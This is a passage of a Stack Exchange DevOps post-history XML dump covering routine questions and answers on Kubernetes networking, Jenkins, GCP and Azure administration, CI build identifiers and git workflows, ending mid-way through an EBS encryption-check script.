  <row Id="28578" PostHistoryTypeId="1" PostId="9568" RevisionGUID="52f51780-54c0-4a78-9623-40c33e6c5abd" CreationDate="2019-10-25T00:35:01.270" UserId="17790" Text="What is the difference between EKS and EC2 installed kubernets?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28579" PostHistoryTypeId="3" PostId="9568" RevisionGUID="52f51780-54c0-4a78-9623-40c33e6c5abd" CreationDate="2019-10-25T00:35:01.270" UserId="17790" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28580" PostHistoryTypeId="2" PostId="9569" RevisionGUID="cf183715-90ac-45ed-ad05-643893117a7a" CreationDate="2019-10-25T00:59:47.737" UserId="17791" Text="I'm running kubernetes with the supposed pod network cidr of `10.244.0.0/16`. Everything seems to agree with that:&#xD;&#xA;&#xD;&#xA;    # history | grep kubeadm&#xD;&#xA;    kubeadm init --control-plane-endpoint &quot;guide:6443&quot; --upload-certs --pod-network-cidr=10.244.0.0/16&#xD;&#xA;&#xD;&#xA;    $ kubectl get nodes -o kubectl get nodes -o jsonpath='{.items[*].spec.podCIDR}'&#xD;&#xA;    10.244.0.0/24 10.244.1.0/24 10.244.2.0/24 10.244.3.0/24 10.244.4.0/24 10.244.5.0/24&#xD;&#xA;&#xD;&#xA;    # cat /run/flannel/subnet.env &#xD;&#xA;    FLANNEL_NETWORK=10.244.0.0/16&#xD;&#xA;    FLANNEL_SUBNET=10.244.0.1/24&#xD;&#xA;    FLANNEL_MTU=1450&#xD;&#xA;    FLANNEL_IPMASQ=true&#xD;&#xA;&#xD;&#xA;However all the pods I create get IPs in the 172.17.0.0/16 range.&#xD;&#xA;&#xD;&#xA;    $ kubectl get pods -o wide&#xD;&#xA;    NAME                                   READY   STATUS             RESTARTS   AGE   IP            NODE         NOMINATED NODE   READINESS GATES&#xD;&#xA;    busybox1                               1/1     Running            1          13m   172.17.0.11   k8s-node-1   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    debain-shell-547f8fc54b-v8p99          0/1     ImagePullBackOff   0          27m   172.17.0.3    k8s-node-1   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    nginx-deployment-ex-54f57cf6bf-k55nn   1/1     Running            1          27m   172.17.0.5    k8s-node-1   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    nginx-deployment-ex-54f57cf6bf-q2khx   1/1     Running            1          27m   172.17.0.9    k8s-node-1   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    nginx-deployment-ex-54f57cf6bf-r8b7v   1/1     Running            1          27m   172.17.0.7    k8s-node-1   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;&#xD;&#xA;I can't talk to coredns (which is how I found this condition) and I can't seem to use my ingress service anymore (though I've restarted enough things by now I may have just temporarily broken that).&#xD;&#xA;&#xD;&#xA;What is causing this, or alternatively, where should I look for more info?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28581" PostHistoryTypeId="1" PostId="9569" RevisionGUID="cf183715-90ac-45ed-ad05-643893117a7a" CreationDate="2019-10-25T00:59:47.737" UserId="17791" Text="kubernetes allocating pods with the wrong IP" ContentLicense="CC BY-SA 4.0" />
  <row Id="28582" PostHistoryTypeId="3" PostId="9569" RevisionGUID="cf183715-90ac-45ed-ad05-643893117a7a" CreationDate="2019-10-25T00:59:47.737" UserId="17791" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28583" PostHistoryTypeId="5" PostId="3491" RevisionGUID="b4f43e59-4419-4e8a-9bae-811454f80fa5" CreationDate="2019-10-25T02:19:04.197" UserId="47" Comment="edited body" Text="Speaking primarily from the Google App Engine (GAE) perspective.&#xD;&#xA;&#xD;&#xA;My preference is for environment-driven project split. This might be of interest: [Advantages of implementing CI/CD environments at GAE project/app level vs service/module level?][1]&#xD;&#xA;&#xD;&#xA;I wouldn't go for architecturally-driven project split unless there are serious reasons for doing so (if you feel you have such reasons you should ask with details):&#xD;&#xA;&#xD;&#xA;- probably difficult (if not impossible) to avoid inter-project bandwidth charges&#xD;&#xA;- added configuration complexity for inter-operation between projects (GCP pretty much considers them completely isolated/standalone, except maybe for shared IAM permissions). Possibly relevant: [Google app engine access cross project resources][2]&#xD;&#xA;&#xD;&#xA;Depending on the GCP products used there may be sufficient support for architectural splits inside the same project. At least GAE does IMHO.&#xD;&#xA;&#xD;&#xA;My GAE apps are all standalone and do not use inter-networking at all, so no costs from this perspective. There are still networking (bandwidth) costs for accessing various GCP-provided infra/services, but those are irellevant/unavoidable from the project split perspective.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/43218971/advantages-of-implementing-ci-cd-environments-at-gae-project-app-level-vs-servic&#xD;&#xA;  [2]: https://stackoverflow.com/questions/48962493/google-app-engine-access-cross-project-resources" ContentLicense="CC BY-SA 4.0" />
  <row Id="28584" PostHistoryTypeId="2" PostId="9570" RevisionGUID="ca6449c0-f9fc-45cc-b902-c850eb3e70bc" CreationDate="2019-10-25T02:37:10.837" UserId="17791" Text="This was caused by missing ` --network-plugin=cni` on the end of kubelet. Added that to the args and it all works now." ContentLicense="CC BY-SA 4.0" />
  <row Id="28585" PostHistoryTypeId="2" PostId="9571" RevisionGUID="42cf4e69-9204-4b3e-9dba-aba883678a35" CreationDate="2019-10-25T03:58:51.347" UserId="15792" Text="You absolutely could install Kubernetes to EC2 and setup the configuration yourself.  However, EKS will handle the bulk of the setup, configuration, maintenance, and monitoring for you.  Check out the [feature][1] page to determine if it is worth it to you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/eks/features/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28593" PostHistoryTypeId="2" PostId="9574" RevisionGUID="3f1ae6bf-cb9f-47ad-a943-fd6a3a0e2609" CreationDate="2019-10-25T08:04:04.837" UserId="16683" Text="If you check the [Git plugin documentation](https://wiki.jenkins.io/display/JENKINS/Git+Plugin#GitPlugin-Environmentvariables), you can see that there is a `GIT_BRANCH` environment variable that you can use in your pipeline.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;GIT_BRANCH - Name of the remote repository (defaults to origin),&#xD;&#xA;             followed by name of the branch currently being used,&#xD;&#xA;             e.g. &quot;origin/master&quot; or &quot;origin/foo&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So, in your pipeline:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;stage('Push to Bitbucket') {&#xD;&#xA;    steps {&#xD;&#xA;        withCredentials([usernamePassword(credentialsId: '8e2ca0a6-2dc5-4f89-b76a-03076d6b0843',&#xD;&#xA;                                          passwordVariable: 'GIT_PASSWORD',&#xD;&#xA;                                          usernameVariable: 'GIT_USERNAME')]) {&#xD;&#xA;            sh&#xD;&#xA;            '''&#xD;&#xA;            # Content omitted&#xD;&#xA;            git checkout ${GIT_BRANCH}&#xD;&#xA;            # Content omitted&#xD;&#xA;            '''&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28594" PostHistoryTypeId="5" PostId="9542" RevisionGUID="5a999ce5-12f2-4fb4-855d-a23f6ec13305" CreationDate="2019-10-25T08:07:43.200" UserId="397" Comment="Rephrased question" Text="I've come to the point where I am starting to adopt principles from [Site Reliability Engineering][1] to operate Cloud Native applications in a modern way.&#xD;&#xA;&#xD;&#xA;From my reading to date, I have established that one of the core practices is monitoring. The way that SRE approaches monitoring is by defining *Service Level Indicators (SLI)* which measure an aspect of the end-user experience, then identifying a threshold around the SLI which is called a *Service Level Objective (SLO)*.&#xD;&#xA;&#xD;&#xA;is there a standard or common approach to defining Service Level Indicators?&#xD;&#xA;&#xD;&#xA;  [1]: https://landing.google.com/sre/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28595" PostHistoryTypeId="4" PostId="9542" RevisionGUID="5a999ce5-12f2-4fb4-855d-a23f6ec13305" CreationDate="2019-10-25T08:07:43.200" UserId="397" Comment="Rephrased question" Text="is there a standard or common approach to defining Service Level Indicators?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28604" PostHistoryTypeId="2" PostId="9577" RevisionGUID="0dbe94c7-4d6e-4041-86b5-6590cc34cce0" CreationDate="2019-10-25T10:17:15.780" UserId="397" Text="Whilst not strictly a standard approach, Google has published an SLI Menu and a [process for developing SLIs for user journies][1]:&#xD;&#xA;&#xD;&#xA;1. For each User Journey/Data Flow identify from the SLI Menu suitable types of SLI:&#xD;&#xA;&#xD;&#xA; [![The SLI Menu][2]][2]&#xD;&#xA;&#xD;&#xA;2. Make a decision about how to measure **good** and **valid** events,&#xD;&#xA;3. Decide where to measure the SLI From out of the following: End User, Client-side Instrumentation, Synthetic Clients, Front-end Metrics, Application Metrics or Server-side Logging.&#xD;&#xA;&#xD;&#xA;The document then goes on to describe, how you collate all of your SLIs for all of your user journies then walk the journey to look for coverage gaps.  Then finally set SLOs based upon the SLIs either based upon **business need** or **past performance**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.usenix.org/sites/default/files/conference/protected-files/srecon18emea_slides_fong-jones.pdf&#xD;&#xA;  [2]: https://i.stack.imgur.com/guvo8.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="28605" PostHistoryTypeId="5" PostId="9574" RevisionGUID="bec43e4d-51c1-460a-bd0a-576a887f276c" CreationDate="2019-10-25T10:31:21.480" UserId="16683" Comment="deleted 13 characters in body" Text="If you check the [Git plugin documentation](https://wiki.jenkins.io/display/JENKINS/Git+Plugin#GitPlugin-Environmentvariables), you can see that there is a `GIT_BRANCH` environment variable that you can use in your pipeline.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;GIT_BRANCH - Name of the remote repository (defaults to origin),&#xD;&#xA;             followed by name of the branch currently being used,&#xD;&#xA;             e.g. &quot;origin/master&quot; or &quot;origin/foo&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So, in your pipeline:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;stage('Push to Bitbucket') {&#xD;&#xA;    steps {&#xD;&#xA;        withCredentials([usernamePassword(credentialsId: '8e2ca0a6-2dc5-4f89-b76a-03076d6b0843',&#xD;&#xA;                                          passwordVariable: 'GIT_PASSWORD',&#xD;&#xA;                                          usernameVariable: 'GIT_USERNAME')]) {&#xD;&#xA;            sh '''&#xD;&#xA;            # Content omitted&#xD;&#xA;            git checkout ${GIT_BRANCH}&#xD;&#xA;            # Content omitted&#xD;&#xA;            '''&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28606" PostHistoryTypeId="2" PostId="9578" RevisionGUID="e2bd8878-fd93-4120-b719-0245f9bcd120" CreationDate="2019-10-25T10:50:51.957" UserId="397" Text="Google's [recommended best practice][1] is to create an [Organisation][2] within GCP so that you get access to [folders][3], then model the hierarchy of your organisation within GCP:&#xD;&#xA;&#xD;&#xA;[![Sample Organisation Structure][4]][4] &#xD;&#xA;&#xD;&#xA;Some guidance/rules:&#xD;&#xA;&#xD;&#xA; 1. there should only be one organisation that represents the entire organisation; configuring directory sync is very painful otherwise.&#xD;&#xA; 2. folders should represent business units&#xD;&#xA; 3. projects should represent instances of an app or component&#xD;&#xA; 4. use different projects for each environment, because each environment is generally an instance of an app or component&#xD;&#xA; 5. fully qualify the names of each folder or project, because GCP often doesn't show the full path to the project.  Consider there are intentionally two applications named `mgmt-prod` in the above diagram.  However, because they are called `amido-ops-pmo-mgmt-prod` and `amido-people-mgmt-prod` it's easy to tell just from the project name what they are.&#xD;&#xA;&#xD;&#xA;The significant advantage of this model is that you can create a group called `TechOps` and give it audit or read permission at the Organisation level. Those people will have access to the entire estate.  Equally, you can also grant granular permissions at the folder and project level based upon business requirements.&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/docs/enterprise/best-practices-for-enterprise-organizations&#xD;&#xA;  [2]: https://cloud.google.com/resource-manager/docs/creating-managing-organization&#xD;&#xA;  [3]: https://cloud.google.com/resource-manager/docs/creating-managing-folders&#xD;&#xA;  [4]: https://i.stack.imgur.com/KGoYd.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="28607" PostHistoryTypeId="2" PostId="9579" RevisionGUID="eef36148-0f4b-462a-81d8-211218e7fb3a" CreationDate="2019-10-25T11:58:35.020" UserId="397" Text="Apologies for not directly answering your question, but by the sounds of your question, you are trying to build an **update management** system to mitigate the threats of vulnerable operating system components and tools having unpatched vulnerabilities which expose you to risk.&#xD;&#xA;&#xD;&#xA;This functionality is actually already available for both Windows and Linux via Azure Automation in the form of the unimaginatively named [Update Management solution][1].  &#xD;&#xA;&#xD;&#xA;Essentially you will need to do the following:&#xD;&#xA;&#xD;&#xA; 1. Configure Azure Monitor and Log Analytics to provide information about vulnerable packages on your machines,&#xD;&#xA; 2. Ensure that any network security groups and firewalls are configured to allow access to/from the various components of the system,&#xD;&#xA; 3. Enable Change Tracking and Inventory,&#xD;&#xA; 4. Enable Update Management,&#xD;&#xA; 5. [Onboard your machines][1].&#xD;&#xA;&#xD;&#xA;I would also highly recommend employing [Azure Security Center][2] as this provides a clearer overview of vulnerabilities across your estate, not just as applied to specific virtual machines.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/automation/automation-update-management&#xD;&#xA;  [2]: https://azure.microsoft.com/en-gb/services/security-center/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28608" PostHistoryTypeId="5" PostId="9555" RevisionGUID="b2726d1a-991a-44fd-8dbd-ed342136f3a1" CreationDate="2019-10-25T11:59:41.300" UserId="397" Comment="In-lined hyperlink, minor edits for readability." Text="I am looking for some PowerShell command which can check if any update/patch need to be applied to existing Azure Linux VM and then apply the patch if required. &#xD;&#xA; I will then use this PowerShell command to automate the process.&#xD;&#xA;&#xD;&#xA;There was [an extension][1] but that appears to be outdated now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-au/blog/automate-linux-vm-os-updates-using-ospatching-extension/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28609" PostHistoryTypeId="4" PostId="9555" RevisionGUID="b2726d1a-991a-44fd-8dbd-ed342136f3a1" CreationDate="2019-10-25T11:59:41.300" UserId="397" Comment="In-lined hyperlink, minor edits for readability." Text="PowerShell command to automate Azure Linux VM" ContentLicense="CC BY-SA 4.0" />
  <row Id="28610" PostHistoryTypeId="2" PostId="9580" RevisionGUID="12ab58ed-9f07-481d-a84a-54190b1ca4b1" CreationDate="2019-10-25T14:18:09.557" UserId="17805" Text="This is the approach I came up with.  It's kinda ugly, but it does work:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- run:&#xD;&#xA;    name: Create unique build identifier&#xD;&#xA;    command: |&#xD;&#xA;        GIT_SHA=$( git rev-parse --short HEAD )&#xD;&#xA;        echo &quot;export GIT_SHA=${GIT_SHA}&quot; &gt;&gt; &quot;${BASH_ENV}&quot;&#xD;&#xA;&#xD;&#xA;        # the always-increasing counter, based on CIRCLE_BUILD_NUM&#xD;&#xA;        BUILD_COUNTER=&quot;${CIRCLE_BUILD_NUM}&quot;&#xD;&#xA;        echo &quot;export BUILD_COUNTER=${BUILD_COUNTER}&quot; &gt;&gt; &quot;${BASH_ENV}&quot;&#xD;&#xA;&#xD;&#xA;        # the build identifier, which includes the short git sha&#xD;&#xA;        BUILD_NUMBER=&quot;CIRC${BUILD_COUNTER}-${GIT_SHA}&quot;&#xD;&#xA;        echo &quot;export BUILD_NUMBER=${BUILD_NUMBER}&quot; &gt;&gt; &quot;${BASH_ENV}&quot;&#xD;&#xA;&#xD;&#xA;        # output build id and counter&#xD;&#xA;        echo -e &quot;\nbuild counter: ${BUILD_COUNTER}; build id: ${BUILD_NUMBER}\n&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then `${BUILD_NUMBER}` is available as an environment variable in other steps." ContentLicense="CC BY-SA 4.0" />
  <row Id="28611" PostHistoryTypeId="50" PostId="6129" RevisionGUID="1ec10149-73d8-4581-a933-7c3314a64c94" CreationDate="2019-10-25T17:03:00.497" UserId="-1" />
  <row Id="28612" PostHistoryTypeId="2" PostId="9581" RevisionGUID="b4ce73f6-8907-4ca6-99a0-93b80f68f14c" CreationDate="2019-10-25T17:15:16.133" UserId="17807" Text="I'm creating an Azure VM image using Packer. The VM is just a Debian 10 installation with a couple of packages installed.&#xD;&#xA;&#xD;&#xA;What I really need to do is to add VM admin user to a specific unix group (`docker`).&#xD;&#xA;&#xD;&#xA;During the packer image provisioning I make changes to the `/etc/adduser.conf` to enable extra groups:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  &quot;provisioners&quot;: [{&#xD;&#xA;    &quot;execute_command&quot;: &quot;chmod +x {{ .Path }}; {{ .Vars }} sudo -E sh '{{ .Path }}'&quot;,&#xD;&#xA;    &quot;inline&quot;: [&#xD;&#xA;      &quot;apt-get update&quot;,&#xD;&#xA;      &quot;apt-get upgrade -y&quot;,&#xD;&#xA;      &quot;apt-get -y install docker.io&quot;,&#xD;&#xA;      &quot;echo 'ADD_EXTRA_GROUPS=1\nEXTRA_GROUPS=\&quot;docker\&quot;' &gt;&gt; /etc/adduser.conf&quot;,&#xD;&#xA;&#xD;&#xA;      &quot;/usr/sbin/waagent -force -deprovision+user &amp;&amp; export HISTSIZE=0 &amp;&amp; sync&quot;&#xD;&#xA;    ],&#xD;&#xA;    &quot;inline_shebang&quot;: &quot;/bin/sh -x&quot;,&#xD;&#xA;    &quot;type&quot;: &quot;shell&quot;&#xD;&#xA;  }]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But it only adds explicitly created users to the `docker` group but the the admin users created with the following command:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;az vm create \&#xD;&#xA;    --resource-group myResourceGroup \&#xD;&#xA;    --name myVM \&#xD;&#xA;    --image myPackerImage \&#xD;&#xA;    --admin-username azureuser \&#xD;&#xA;    --generate-ssh-keys&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is there any way to add admin user to the group `docker` too?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28613" PostHistoryTypeId="1" PostId="9581" RevisionGUID="b4ce73f6-8907-4ca6-99a0-93b80f68f14c" CreationDate="2019-10-25T17:15:16.133" UserId="17807" Text="How to add Azure VM's admin user to a specific unix group?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28614" PostHistoryTypeId="3" PostId="9581" RevisionGUID="b4ce73f6-8907-4ca6-99a0-93b80f68f14c" CreationDate="2019-10-25T17:15:16.133" UserId="17807" Text="&lt;azure&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28615" PostHistoryTypeId="50" PostId="9279" RevisionGUID="3f75a53d-579d-410e-ac1b-7aa532745c4d" CreationDate="2019-10-25T19:02:15.307" UserId="-1" />
  <row Id="28619" PostHistoryTypeId="2" PostId="9582" RevisionGUID="4b40c3f2-719b-49f7-ab2a-2fe7d27e2f4c" CreationDate="2019-10-25T22:15:06.873" UserId="17813" Text="I have 4 environments (prod/preprod/SIT/DEV), also two main branches (Master &amp; Develop), two developers work on features (One &amp; Two).&#xD;&#xA;&#xD;&#xA;Developer One creates a feature (Feature A), he then merges the feature into the Develop branch.&#xD;&#xA;&#xD;&#xA;Developer Two also creates a feature (Feature B) and he does the same, he merges the created feature into the Develop.&#xD;&#xA;&#xD;&#xA;Now, the Develop branch will have two features (A &amp; B), when the business owner decides to go with one feature ONLY (feature A), what should be the right approach to follow?&#xD;&#xA;&#xD;&#xA;what is the best GIT workflow that we should follow? especially when implementing DevOps solutions.&#xD;&#xA;&#xD;&#xA;P.S. I only mentioned two developers with two features, while in real life, I might have many more at the same time, hence I need to know the best approach to follow." ContentLicense="CC BY-SA 4.0" />
  <row Id="28620" PostHistoryTypeId="1" PostId="9582" RevisionGUID="4b40c3f2-719b-49f7-ab2a-2fe7d27e2f4c" CreationDate="2019-10-25T22:15:06.873" UserId="17813" Text="Deploying and testing features on a server by more than one developer" ContentLicense="CC BY-SA 4.0" />
  <row Id="28621" PostHistoryTypeId="3" PostId="9582" RevisionGUID="4b40c3f2-719b-49f7-ab2a-2fe7d27e2f4c" CreationDate="2019-10-25T22:15:06.873" UserId="17813" Text="&lt;git&gt;&lt;bitbucket&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28625" PostHistoryTypeId="2" PostId="9584" RevisionGUID="bc05cf92-0cfa-45bd-9ec3-8692438f23eb" CreationDate="2019-10-26T00:34:38.860" UserId="17458" Text="I've got a domain name foobar-staging.com, that I use for the staging environment to get feedback, testing or demo before releasing to production. Recently, decided to deploy the UI static files to s3 and everything else falling back to ALB.&#xD;&#xA;The original setup is only accessible privately, so the user has to connect to a VPN to be able to access foobar-staging.com, and as far as I've tested so far Cloudfront content origins need to be public, so it seems that I won't be able to keep the staging server private, unless someone confirms me otherwise?&#xD;&#xA;&#xD;&#xA;What I want to access privately is:&#xD;&#xA;&#xD;&#xA;    Domain name &gt; Cloudfront &gt; s3 (/routeX, /routeY) or ALB (other routes /*)&#xD;&#xA;&#xD;&#xA;Is it possible to do?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28626" PostHistoryTypeId="1" PostId="9584" RevisionGUID="bc05cf92-0cfa-45bd-9ec3-8692438f23eb" CreationDate="2019-10-26T00:34:38.860" UserId="17458" Text="How to setup Cloudfront for Load balancer for a private staging domain name?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28627" PostHistoryTypeId="3" PostId="9584" RevisionGUID="bc05cf92-0cfa-45bd-9ec3-8692438f23eb" CreationDate="2019-10-26T00:34:38.860" UserId="17458" Text="&lt;amazon-web-services&gt;&lt;load-balance&gt;&lt;amazon-cloudfront&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28628" PostHistoryTypeId="5" PostId="9584" RevisionGUID="4fef5f2f-8b50-40d8-ac0d-ae6bee5a5dd3" CreationDate="2019-10-26T00:51:07.827" UserId="17458" Comment="more details" Text="I've got a domain name foobar-staging.com, that I use for the staging environment to get feedback, testing or demo before releasing to production. Recently, decided to deploy the UI static files to s3 and everything else falling back to ALB.&#xD;&#xA;The original setup is only accessible privately, so the user has to connect to a VPN to be able to access foobar-staging.com, and as far as I've tested so far Cloudfront content origins need to be public, so it seems that I won't be able to keep the staging server private, unless someone confirms me otherwise?&#xD;&#xA;&#xD;&#xA;What I want to access privately is:&#xD;&#xA;&#xD;&#xA;    Domain name &gt; Cloudfront &gt; s3 (/routeX, /routeY) or ALB (other routes /*)&#xD;&#xA;&#xD;&#xA;The EC2s only have private ips and the ELB security group do not allow public access. I've allowed 80/443 0.0.0.0/16 access to see the Cloudfront work for the setup... I don't necessarily need Cloudfront (other alternative would do, as I can't route to s3 in ALB), but without having Cloudfront in front of s3 and alb, I'd have to access the UI application through the s3 amazon domain, which I'd much prefer to use the foobar-staging.com.&#xD;&#xA;&#xD;&#xA;Is it possible to do?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28630" PostHistoryTypeId="4" PostId="6629" RevisionGUID="6c7a13ba-4e9c-4d80-866b-da820b89a888" CreationDate="2019-10-26T12:12:35.810" UserId="40" Comment="improve title" Text="What is happening in an Azure Devops build and release?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28632" PostHistoryTypeId="50" PostId="4386" RevisionGUID="f6451f78-aef8-4ad2-b1ab-15e4e37db97c" CreationDate="2019-10-26T13:02:50.357" UserId="-1" />
  <row Id="28640" PostHistoryTypeId="2" PostId="9587" RevisionGUID="dd6a7cde-5215-4210-884a-c0bae779b88b" CreationDate="2019-10-26T15:38:40.830" UserId="47" Text="Since you have a single released version product one thing to consider would be keeping the Develop branch or not:&#xD;&#xA;&#xD;&#xA;- keeping it would have the advantage that at any moment you can bring in a hotfix in master even if Develop isn't stable enough for a merge into master. But this means you'd need to have 2 focus points instead of a single one - both branches need to be kept stable. There will be additional efforts for constant merges back and forth between the 2 branches to keep them from diverging. The overhead of context switching between them can be significant.&#xD;&#xA;&#xD;&#xA;- getting rid of it (see https://devops.stackexchange.com/questions/219/how-to-get-rid-of-develop-branch-for-simplified-git-flow?rq=1) and doing the integration directly in master would reduce the overhead of carrying together 2 branches. The releases would simply be tagged versions of the master branch. But getting in a hotfix for the current release version would require the branch to be stable enough (virtually ready for a new release) at any moment. Which would be desired anyways and is achievable (with some effort).&#xD;&#xA;&#xD;&#xA;In the context of continuing the practice of developing features in isolation (on separate, potentially long-lived feature branches) and going through the pains of integration hell one thing that could be improved would be a better communication between the business owner and the development team: deciding to drop feature B **after** it was integrated into the product is practically equivalent with adding a new feature C (late in the game).&#xD;&#xA;&#xD;&#xA;Another (much better IMHO) option would be to switch to the [Continuous Integration][1] practice: features would be developed directly in master (using very short lived branches carrying tiny incremental changes much easier to handle, ideally merged back into master in less than 1 day), behind [feature toggles][2]/[feature flags][3]: &#xD;&#xA;&#xD;&#xA;- during development the features would be disabled by default, making master virtually equivalent to the current release version, ready to receive hot fixes if/when needed.&#xD;&#xA;&#xD;&#xA;- the flags can be individually enabled in various environments to determine the respective feature progress/readiness for release. This can be done simultaneously for virtually any number of features (or feature combinations), regardless of their size or development stage or duration, as different verification steps of the automated CI system. &#xD;&#xA;&#xD;&#xA;- whenever a feature is ready and the business owners decide to accept it the respective flag is turned on in a tiny commit and a new tag &quot;brings&quot; the feature into the next release. No massive branch merges, no risk of surprises, everything should be just business as usual - all kinks should have been already ironed out. A much more predictable (and less stressful) development process.&#xD;&#xA;&#xD;&#xA;- keeping the flag supporting code in place for a while also allows staging the dropping of the feature in a subsequent release by disabling the flag in a CI system verification stage. But eventually a cleanup of the feature flag and the supporting code can/should be done as a background code base maintenance task, making the feature permanent.&#xD;&#xA;&#xD;&#xA;IMHO such approach is the only reasonable option in larger scale projects where many features are being developed simultaneously. &#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/tagged/continuous-integration&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/tagged/feature-toggles&#xD;&#xA;  [3]: https://devops.stackexchange.com/questions/tagged/feature-flags" ContentLicense="CC BY-SA 4.0" />
  <row Id="28645" PostHistoryTypeId="2" PostId="9589" RevisionGUID="3386421e-f5e4-4aff-b184-3929987e7eca" CreationDate="2019-10-27T01:22:34.197" UserId="17825" Text="If your company/manager/etc is arguing for 100% reliability, please ask them to name **just one** human-engineered system that has achieved that mark over any non-trivial period of time. I'm not aware of any -- and I've looked *a lot*.  Pacemakers don't even have 100% reliability. &#xD;&#xA;&#xD;&#xA;Remove the humans. You'd be hard pressed to find anything in nature that achieved that goal, either.&#xD;&#xA;&#xD;&#xA;A goal of perfection is deeply counterproductive and will eventually slow your innovation asymptotically towards 0. &#xD;&#xA;&#xD;&#xA;[Here's][1] a fuller explanation.&#xD;&#xA;&#xD;&#xA;You will ship much greater reliability to your customers if you concentrate less on reducing errors, and focus more on detecting them and mitigating them quickly. The smaller the blast radius, the faster you can go. &#xD;&#xA;&#xD;&#xA;The sin is not in the failing, but in the failing to notice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=0zqBlRW_6jA" ContentLicense="CC BY-SA 4.0" />
  <row Id="28647" PostHistoryTypeId="50" PostId="6531" RevisionGUID="8fc04391-45de-4aaf-adcd-2d61011382ff" CreationDate="2019-10-27T10:02:05.240" UserId="-1" />
  <row Id="28648" PostHistoryTypeId="2" PostId="9590" RevisionGUID="053e950e-469c-4ab2-9937-960cca363e9f" CreationDate="2019-10-27T14:34:18.837" UserId="17828" Text="I got this error also and ended up here, reason is I think I was using another version of ansible on another computer so I changed the syntax to `when: sometest is success` because I got warnings before. Now on this computer where I run version `2.2.1.0` apparently this does not work at all, so I fell back on `when: sometest|success` instead and now it works." ContentLicense="CC BY-SA 4.0" />
  <row Id="28649" PostHistoryTypeId="50" PostId="8254" RevisionGUID="41e598d2-7c74-4456-a6dd-d065f87afcb2" CreationDate="2019-10-27T15:01:30.197" UserId="-1" />
  <row Id="28651" PostHistoryTypeId="2" PostId="9592" RevisionGUID="1f368af0-b90c-4270-8c2a-0d165360a36d" CreationDate="2019-10-27T20:36:05.613" UserId="13596" Text="Below presented there are is a Bash script functions based on `awscli` to get **AWS EBS volumes encryption state** for different scenarios&#xD;&#xA;&#xD;&#xA;**NOTE1:** your IAM Profile and that is currently running&#xD;&#xA;&#xD;&#xA;source public github gist: https://gist.github.com/exequielrafaela/4cce5cf7198d5f239153e339587ab392&#xD;&#xA; &#xD;&#xA;**NOTE2:** You'll find other bash scripts for some usual Sec &amp; Audit validations.&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;#!/bin/bash&#xD;&#xA;&#xD;&#xA;#&#xD;&#xA;# Bash script functions based on awscli to get AWS EBS volumes encryption state for different scenarios&#xD;&#xA;# your IAM Profile and that is currently running&#xD;&#xA;#&#xD;&#xA;&#xD;&#xA;#&#xD;&#xA;# Your AWS IAM profile here (~/.aws/credentials &amp; ~/.aws/config).&#xD;&#xA;#&#xD;&#xA;AWS_IAM_PROFILE=&quot;your-aws-iam-profile-here&quot;&#xD;&#xA;&#xD;&#xA;#&#xD;&#xA;# AWS EBS status -&gt; attached || deattached&#xD;&#xA;#&#xD;&#xA;AWS_EBS_ATTACHMENT_STATUS=&quot;attached&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#=========================================#&#xD;&#xA;# Functions                               #&#xD;&#xA;#=========================================#&#xD;&#xA;func_aws_ec2_ebs_list_encrypted(){&#xD;&#xA;    #&#xD;&#xA;    # Get all running AWS EC2 